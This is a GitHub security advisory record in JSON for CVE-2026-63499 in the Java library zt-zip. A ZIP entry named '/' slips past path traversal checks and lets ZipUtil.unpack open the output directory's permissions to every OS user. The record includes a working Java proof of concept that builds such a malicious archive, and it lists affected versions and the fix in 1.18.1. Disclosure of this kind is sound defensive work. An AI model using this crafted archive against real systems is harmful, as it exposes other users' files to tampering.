{"id":"GHSA-v2g6-7r9j-v6px","summary":"zt-zip: ZipUtil.unpack can change file permissions of output directory","details":"### Summary\nWhen using one of the `ZipUtil.unpack` overloads, the file permissions of the output directory can be changed. For example, when the output directory was only accessible to the 'owner' it could be instead made accessible to every OS user.\n\n### Details\nWhen the name of a ZIP entry resolves to the output directory itself (e.g. the name `/`), the path traversal checks permit it and then perform actions on that directory, such as applying the file permissions of the ZIP entry to it.\n\n### PoC\nThis proof of concept requires an OS with support for POSIX file permissions. This issue itself is however not limited to those OS' with POSIX file permissions, see zt-zip's `ZTFilePermissionsUtil.fetchDefaultStrategy` which uses a fallback in that case.\n\n```java\n// Uses Apache Commons Compress to create the malicious ZIP file\n// The issue itself is however in how zt-zip processes that ZIP file\nimport org.apache.commons.compress.archivers.zip.AsiExtraField;\nimport org.apache.commons.compress.archivers.zip.ZipArchiveEntry;\nimport org.apache.commons.compress.archivers.zip.ZipArchiveOutputStream;\nimport org.apache.commons.compress.archivers.zip.ZipExtraField;\n\nimport org.zeroturnaround.zip.ZipUtil;\n\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.util.Set;\n\npublic class ZtZipTest {\n    public static void main(String[] args) throws Exception {\n        Path zipPath = Path.of(\"permissions-change.zip\");\n\n        Path outputDir = Path.of(\"permissions-change\");\n        Files.deleteIfExists(outputDir);\n        Files.createDirectory(outputDir);\n        Files.setPosixFilePermissions(outputDir, Set.of());\n\n        // outputs \"[]\"\n        System.out.println(\"Permissions before: \" + Files.getPosixFilePermissions(outputDir));\n\n        createZip(zipPath);\n\n        ZipUtil.unpack(zipPath.toFile(), outputDir.toFile());\n\n        // outputs \"[..., OTHERS_EXECUTE, OTHERS_WRITE, OTHERS_READ, ...]\"\n        System.out.println(\"Permissions after: \" + Files.getPosixFilePermissions(outputDir));\n    }\n\n    public static void createZip(Path path) throws Exception {\n        try (ZipArchiveOutputStream zipStream = new ZipArchiveOutputStream(path)) {\n            var entry = new ZipArchiveEntry(\"/\");\n            // Set 'allow all' permissions\n            entry.setUnixMode(0b1_1111_1111);\n\n            AsiExtraField extraField = new AsiExtraField();\n            // Set 'allow all' permissions\n            extraField.setMode(0b1_1111_1111);\n            entry.setExtraFields(new ZipExtraField[] { extraField });\n            zipStream.putArchiveEntry(entry);\n            zipStream.closeArchiveEntry();\n        }\n    }\n}\n\n```\n\n### Impact\nAffected are users who use `ZipUtil.unpack` to unpack an untrusted ZIP file.","aliases":["CVE-2026-63499"],"modified":"2026-11-09T21:15:04.243976472Z","published":"2026-11-09T21:03:31Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-11-09T21:03:31Z","nvd_published_at":"2026-11-03T18:18:04Z","cwe_ids":["CWE-23"]},"references":[{"type":"WEB","url":"https://github.com/zeroturnaround/zt-zip/security/advisories/GHSA-v2g6-7r9j-v6px"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63499"},{"type":"WEB","url":"https://github.com/zeroturnaround/zt-zip/pull/191"},{"type":"WEB","url":"https://github.com/zeroturnaround/zt-zip/commit/1b625467b4c3cd3a9bee9efc35bdef2f8d9c8dad"},{"type":"PACKAGE","url":"https://github.com/zeroturnaround/zt-zip"},{"type":"WEB","url":"https://github.com/zeroturnaround/zt-zip/releases/tag/v1.18.1"}],"affected":[{"package":{"name":"org.zeroturnaround:zt-zip","ecosystem":"Maven","purl":"pkg:maven/org.zeroturnaround/zt-zip"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.1"}]}],"versions":["1.10","1.11","1.12","1.13","1.14","1.15","1.16","1.17","1.18.0","1.4","1.5","1.6","1.7","1.8","1.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-v2g6-7r9j-v6px/GHSA-v2g6-7r9j-v6px.json","last_known_affected_version_range":"\u003c= 1.18.0"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N"}]}